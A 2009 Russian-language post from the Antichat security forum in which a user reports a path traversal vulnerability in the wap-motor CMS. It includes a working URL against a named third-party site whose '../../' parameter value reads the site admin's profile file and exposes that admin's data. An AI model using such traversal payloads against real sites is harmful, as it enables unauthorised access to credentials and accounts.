Форум АНТИЧАТ - Нашел уязвимость в wap-motor

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

Нашел уязвимость в wap-motor

17.05.2009, 22:51

Mars803

Новичок

Регистрация: 08.05.2009

Сообщений: 16

Провел на форуме:
71242

Репутация: 1

Отправить сообщение для Mars803 с помощью ICQ

Нашел уязвимость в wap-motor

Версию этого wap-motor'а незнаю, и возможно я уже не первый её нахожу, но сегодня я все же её нашел на сайте tumak.h2m.ru а то что там стоит wap-motor я не сомневаюсь.

Вот собственно дыра:
http://tumak.h2m.ru/library/lib.php?did=css&a[0]=../../local/profil/tumak.prof

Собственно мы видим все данные админа сайта. На оффициальном проекте этого мотора http://visavi.net данной уязвимости нет, так что я думаю она есть не во всех версиях.

Прошу на меня не злится если кто то уже находил такую дыру, специально искал в гугле и ненашел